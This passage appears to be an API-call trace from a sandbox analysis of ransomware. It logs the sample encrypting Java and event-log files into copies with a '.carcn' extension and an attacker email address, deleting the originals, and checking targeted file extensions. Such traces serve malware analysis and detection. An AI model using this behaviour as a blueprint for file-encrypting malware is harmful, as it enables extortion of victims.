nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.110] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xf4, lpOverlapped=0x0) returned 1 [0312.110] SetEndOfFile (hFile=0x374) returned 1 [0312.110] CloseHandle (hObject=0x374) returned 1 [0312.111] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.111] SetEndOfFile (hFile=0x390) returned 1 [0312.112] CloseHandle (hObject=0x390) returned 1 [0312.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.112] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0312.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0312.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0312.113] lstrlenW (lpString=".doc") returned 4 [0312.113] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0312.113] lstrlenW (lpString=".docx") returned 5 [0312.113] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0312.113] lstrlenW (lpString=".pdf") returned 4 [0312.113] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0312.113] lstrlenW (lpString=".xls") returned 4 [0312.113] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0312.113] lstrlenW (lpString=".xlsx") returned 5 [0312.113] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0312.113] lstrlenW (lpString=".ppt") returned 4 [0312.113] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0312.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0312.113] lstrlenW (lpString=".zip") returned 4 [0312.114] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0312.114] lstrlenW (lpString=".rar") returned 4 [0312.114] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0312.114] lstrlenW (lpString=".bz2") returned 4 [0312.114] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0312.114] lstrlenW (lpString=".7z") returned 3 [0312.114] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0312.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0312.114] lstrlenW (lpString=".dbf") returned 4 [0312.114] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0312.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0312.114] lstrlenW (lpString=".1cd") returned 4 [0312.114] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0312.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0312.114] lstrlenW (lpString=".jpg") returned 4 [0312.114] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0312.115] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.115] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.116] GetLastError () returned 0x0 [0312.116] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xbd2, lpOverlapped=0x0) returned 1 [0312.116] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xbe0, lpOverlapped=0x0) returned 1 [0312.117] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.118] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xfc, lpOverlapped=0x0) returned 1 [0312.118] SetEndOfFile (hFile=0x374) returned 1 [0312.118] CloseHandle (hObject=0x374) returned 1 [0312.118] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.118] SetEndOfFile (hFile=0x390) returned 1 [0312.120] CloseHandle (hObject=0x390) returned 1 [0312.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.120] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0312.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0312.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0312.121] lstrlenW (lpString=".doc") returned 4 [0312.121] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0312.121] lstrlenW (lpString=".docx") returned 5 [0312.121] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0312.121] lstrlenW (lpString=".pdf") returned 4 [0312.121] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0312.121] lstrlenW (lpString=".xls") returned 4 [0312.121] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0312.121] lstrlenW (lpString=".xlsx") returned 5 [0312.121] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0312.121] lstrlenW (lpString=".ppt") returned 4 [0312.121] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0312.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0312.121] lstrlenW (lpString=".zip") returned 4 [0312.121] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0312.121] lstrlenW (lpString=".rar") returned 4 [0312.121] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0312.121] lstrlenW (lpString=".bz2") returned 4 [0312.122] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0312.122] lstrlenW (lpString=".7z") returned 3 [0312.122] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0312.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0312.122] lstrlenW (lpString=".dbf") returned 4 [0312.122] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0312.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0312.122] lstrlenW (lpString=".1cd") returned 4 [0312.122] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0312.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0312.122] lstrlenW (lpString=".jpg") returned 4 [0312.122] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0312.122] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.122] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.123] GetLastError () returned 0x0 [0312.123] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x4ba, lpOverlapped=0x0) returned 1 [0312.124] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x4c0, lpOverlapped=0x0) returned 1 [0312.125] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.125] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xf4, lpOverlapped=0x0) returned 1 [0312.125] SetEndOfFile (hFile=0x374) returned 1 [0312.125] CloseHandle (hObject=0x374) returned 1 [0312.125] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.125] SetEndOfFile (hFile=0x390) Thread: id = 103 os_tid = 0xfa0 [0291.294] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3ca14f8 [0291.295] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3cb1500 [0291.295] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x7970e0 [0291.295] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x795ff8 [0291.295] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796ed0 [0291.295] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x406d020 [0291.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x7970f8 [0291.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7970f8, Size=0x20) returned 0x75a1c0 [0291.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796f78 [0291.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796f78, Size=0x20) returned 0x75a350 [0291.298] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.299] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.299] Wow64DisableWow64FsRedirection (in: OldValue=0x363ff50 | out: OldValue=0x363ff50*=0x0) returned 1 [0291.299] lstrlenW (lpString="kernel32.dll") returned 12 [0291.299] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a1c0 | out: hHeap=0x700000) returned 1 [0291.299] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.299] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a350 | out: hHeap=0x700000) returned 1 [0291.299] Sleep (dwMilliseconds=0x64) [0291.656] Sleep (dwMilliseconds=0x64) [0291.824] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0291.824] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0291.824] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0291.825] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1052672) returned 1 [0291.825] CloseHandle (hObject=0x350) returned 1 [0291.826] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0291.826] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0x20 [0291.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.826] lstrlenW (lpString=".doc") returned 4 [0291.826] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0291.826] lstrlenW (lpString=".docx") returned 5 [0291.826] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0291.826] lstrlenW (lpString=".pdf") returned 4 [0291.826] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0291.826] lstrlenW (lpString=".xls") returned 4 [0291.826] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0291.826] lstrlenW (lpString=".xlsx") returned 5 [0291.826] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0291.826] lstrlenW (lpString=".ppt") returned 4 [0291.826] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.827] lstrlenW (lpString=".zip") returned 4 [0291.827] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString=".rar") returned 4 [0291.827] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString=".bz2") returned 4 [0291.827] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString=".7z") returned 3 [0291.827] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0291.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.827] lstrlenW (lpString=".dbf") returned 4 [0291.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.827] lstrlenW (lpString=".1cd") returned 4 [0291.827] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.827] lstrlenW (lpString=".jpg") returned 4 [0291.827] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.827] lstrlenW (lpString=".doc") returned 4 [0291.827] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString=".docx") returned 5 [0291.827] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0291.827] lstrlenW (lpString=".pdf") returned 4 [0291.827] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString=".xls") returned 4 [0291.827] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString=".xlsx") returned 5 [0291.827] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0291.827] lstrlenW (lpString=".ppt") returned 4 [0291.827] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0291.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.828] lstrlenW (lpString=".zip") returned 4 [0291.828] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0291.828] lstrlenW (lpString=".rar") returned 4 [0291.828] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0291.828] lstrlenW (lpString=".bz2") returned 4 [0291.828] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0291.828] lstrlenW (lpString=".7z") returned 3 [0291.828] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0291.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.828] lstrlenW (lpString=".dbf") returned 4 [0291.828] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0291.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.828] lstrlenW (lpString=".1cd") returned 4 [0291.828] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0291.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0291.828] lstrlenW (lpString=".jpg") returned 4 [0291.828] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0291.828] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0291.828] lstrlenW (lpString="Windows PowerShell.evtx") returned 23 [0291.828] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0291.829] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=69632) returned 1 [0291.829] CloseHandle (hObject=0x350) returned 1 [0291.829] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0291.830] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0x20 [0291.830] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.830] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.830] lstrlenW (lpString=".doc") returned 4 [0291.830] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0291.830] lstrlenW (lpString=".docx") returned 5 [0291.830] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0291.830] lstrlenW (lpString=".pdf") returned 4 [0291.830] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0291.830] lstrlenW (lpString=".xls") returned 4 [0291.830] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0291.830] lstrlenW (lpString=".xlsx") returned 5 [0291.830] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0291.830] lstrlenW (lpString=".ppt") returned 4 [0291.830] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0291.830] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.830] lstrlenW (lpString=".zip") returned 4 [0291.830] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0291.830] lstrlenW (lpString=".rar") returned 4 [0291.830] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0291.830] lstrlenW (lpString=".bz2") returned 4 [0291.830] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0291.830] lstrlenW (lpString=".7z") returned 3 [0291.830] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0291.830] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.830] lstrlenW (lpString=".dbf") returned 4 [0291.830] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0291.830] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.830] lstrlenW (lpString=".1cd") returned 4 [0291.831] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.831] lstrlenW (lpString=".jpg") returned 4 [0291.831] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.831] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.831] lstrlenW (lpString=".doc") returned 4 [0291.831] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString=".docx") returned 5 [0291.831] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0291.831] lstrlenW (lpString=".pdf") returned 4 [0291.831] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString=".xls") returned 4 [0291.831] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString=".xlsx") returned 5 [0291.831] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0291.831] lstrlenW (lpString=".ppt") returned 4 [0291.831] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.831] lstrlenW (lpString=".zip") returned 4 [0291.831] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString=".rar") returned 4 [0291.831] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString=".bz2") returned 4 [0291.831] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString=".7z") returned 3 [0291.831] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0291.831] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.831] lstrlenW (lpString=".dbf") returned 4 [0291.831] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0291.831] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.831] lstrlenW (lpString=".1cd") returned 4 [0291.832] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0291.832] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0291.832] lstrlenW (lpString=".jpg") returned 4 [0291.832] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0291.832] lstrcmpiW (lpString1=".sys", lpString2=".carcn") returned 1 [0291.832] lstrlenW (lpString="pagefile.sys") returned 12 [0291.832] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.832] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.832] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.832] lstrlenW (lpString=".doc") returned 4 [0291.832] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0291.832] lstrlenW (lpString=".docx") returned 5 [0291.832] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0291.832] lstrlenW (lpString=".pdf") returned 4 [0291.832] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0291.832] lstrlenW (lpString=".xls") returned 4 [0291.832] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0291.832] lstrlenW (lpString=".xlsx") returned 5 [0291.832] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0291.832] lstrlenW (lpString=".ppt") returned 4 [0291.832] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0291.832] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.832] lstrlenW (lpString=".zip") returned 4 [0291.832] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0291.833] lstrlenW (lpString=".rar") returned 4 [0291.833] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0291.833] lstrlenW (lpString=".bz2") returned 4 [0291.833] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0291.833] lstrlenW (lpString=".7z") returned 3 [0291.833] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0291.833] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.833] lstrlenW (lpString=".dbf") returned 4 [0291.833] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0291.833] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.833] lstrlenW (lpString=".1cd") returned 4 [0291.833] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0291.833] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.833] lstrlenW (lpString=".jpg") returned 4 [0291.833] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0291.833] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.833] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.833] lstrlenW (lpString=".doc") returned 4 [0291.833] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0291.833] lstrlenW (lpString=".docx") returned 5 [0291.833] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0291.833] lstrlenW (lpString=".pdf") returned 4 [0291.833] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0291.833] lstrlenW (lpString=".xls") returned 4 [0291.833] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0291.833] lstrlenW (lpString=".xlsx") returned 5 [0291.833] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0291.833] lstrlenW (lpString=".ppt") returned 4 [0291.834] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0291.834] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.834] lstrlenW (lpString=".zip") returned 4 [0291.834] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0291.834] lstrlenW (lpString=".rar") returned 4 [0291.834] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0291.834] lstrlenW (lpString=".bz2") returned 4 [0291.834] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0291.834] lstrlenW (lpString=".7z") returned 3 [0291.834] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0291.834] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.834] lstrlenW (lpString=".dbf") returned 4 [0291.834] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0291.834] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.834] lstrlenW (lpString=".1cd") returned 4 [0291.834] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0291.834] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0291.834] lstrlenW (lpString=".jpg") 